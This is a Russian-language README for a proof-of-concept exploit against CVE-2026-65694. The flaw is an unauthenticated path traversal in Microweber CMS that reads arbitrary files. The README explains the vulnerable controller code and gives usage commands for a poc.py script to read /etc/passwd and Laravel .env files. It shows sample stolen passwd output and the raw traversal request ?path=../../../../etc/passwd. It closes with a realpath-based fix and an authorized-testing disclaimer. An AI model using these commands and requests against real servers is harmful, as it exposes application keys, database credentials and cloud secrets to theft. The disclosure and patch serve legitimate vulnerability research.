
PoC для CVE-2026-65694 — Microweber CMS (<=2.0.20) неаутентифицированный обход пути → произвольное чтение файлов (.env / secrets)
Proof-of-concept для CVE-2026-65694 — неаутентифицированный path-traversal → произвольное чтение файлов в Microweber CMS.
Неаутентифицированный злоумышленник может прочитать любой файл, к которому имеет доступ пользователь веб-сервера — Laravel .env (APP_KEY, учетные данные БД, почтовые/облачные секреты), /etc/passwd, логи, ключи, конфигурацию не в формате .php и т.д. — через публичный маршрут GET /userfiles/{path}.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)master (уязвимая строка всё ещё присутствует)src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php
public function serveFromUserfiles(Request $request)
{
$path = $request->path; // <-- чтение свойства, а НЕ $request->path()
$path = normalize_path(userfiles_path() . $path, false); // <-- normalize_path() НЕ удаляет ".."
return $this->sendResponse($path, $request);
}
Маршрут зарегистрирован без аутентификации:
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');
Две проблемы объединяются:
$request->path (доступ к свойству, а не к методу $request->path()) разрешается через Request::__get от Laravel → Arr::get($this->all(), 'path', fn() => $this->route('path')). Таким образом, параметр запроса ?path= переопределяет сегмент маршрута {path} — и значения query-строки не подвергаются нормализации .., которую применяет браузер/сервер к URL-пути.normalize_path() только схлопывает слеши; она никогда не удаляет и не разрешает .., и нет проверки, что итоговый путь остаётся внутри userfiles_path(). Затем файловый слой PHP разрешает последовательности .. в файловой системе.Контроллер блокирует только расширения .php, .phtml и .php7 (skip_ext), поэтому исходный код PHP напрямую не читается — но всё остальное читается (.env, /etc/passwd, логи, ключи, SQLite-БД, JSON/YAML-конфигурации и т.д.).
pip install -r requirements.txt
Работает на любом развёртывании, использующем рекомендуемый корень документа public/ (поставляемый Microweber public/.htaccess или nginx с try_files $uri /index.php front-контроллером), где userfiles/ находится вне корня веб-сервера, а /userfiles/* направляется в роутер Laravel.
Три действия:
python3 poc.py -u http://TARGET --check # уязвим ли целевой хост?
python3 poc.py -u http://TARGET -r /etc/passwd # прочитать файл (вывод в stdout)
python3 poc.py -u http://TARGET -r .env # относительный путь от приложения также работает
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt # скачать файл на диск
Глубина обхода определяется автоматически (увеличивается ../, пока файл не будет отдан); переопределить параметром --depth N. Направить через Burp с помощью --proxy http://127.0.0.1:8080. Добавить -v для вывода сырого запроса.
$ python3 poc.py -u http://target:8080 --check
Microweber CMS - Неаутентифицированное произвольное чтение файлов
CVE-2026-65694 ( GET /userfiles/ ?path= traversal )
by Bobur Abdugafforov
[*] Тестирование цели...
[+] УЯЗВИМО - CVE-2026-65694 подтверждён (произвольное чтение файлов, глубина обхода 4)
$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Загружен '/etc/passwd' -> pw.txt (839 байт, глубина обхода 4)
Сам запрос выглядит так:
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target
Неаутентифицированное произвольное чтение файлов. Утечка Laravel .env даёт APP_KEY
(подделка сессий/cookies), учётные данные БД, пароль почты и облачные ключи — фактически
полная компрометация секретов экземпляра.
Читать связанный параметр маршрута вместо свойства входных данных, канонизировать через realpath()
и проверять, что итоговый путь остаётся внутри userfiles_path():
public function serveFromUserfiles(Request $request)
{
$requested = (string) $request->route('path');
$base = realpath(userfiles_path());
$path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
abort_if($base === false || $path === false
|| strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
return $this->sendResponse($path, $request);
}
Обнаружено и сообщено Bobur Abdugafforov. CVE-2026-65694 присвоен через VulnCheck.
Только для авторизованного тестирования безопасности и образовательных целей. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
| Флаг | Действие |
|---|
--check | Сообщить, уязвим ли целевой хост (да/нет), без выгрузки данных |
-r, --read FILE | Прочитать файл и вывести его в stdout |
-d, --download FILE | Прочитать файл и сохранить локально (-o/--output задаёт имя) |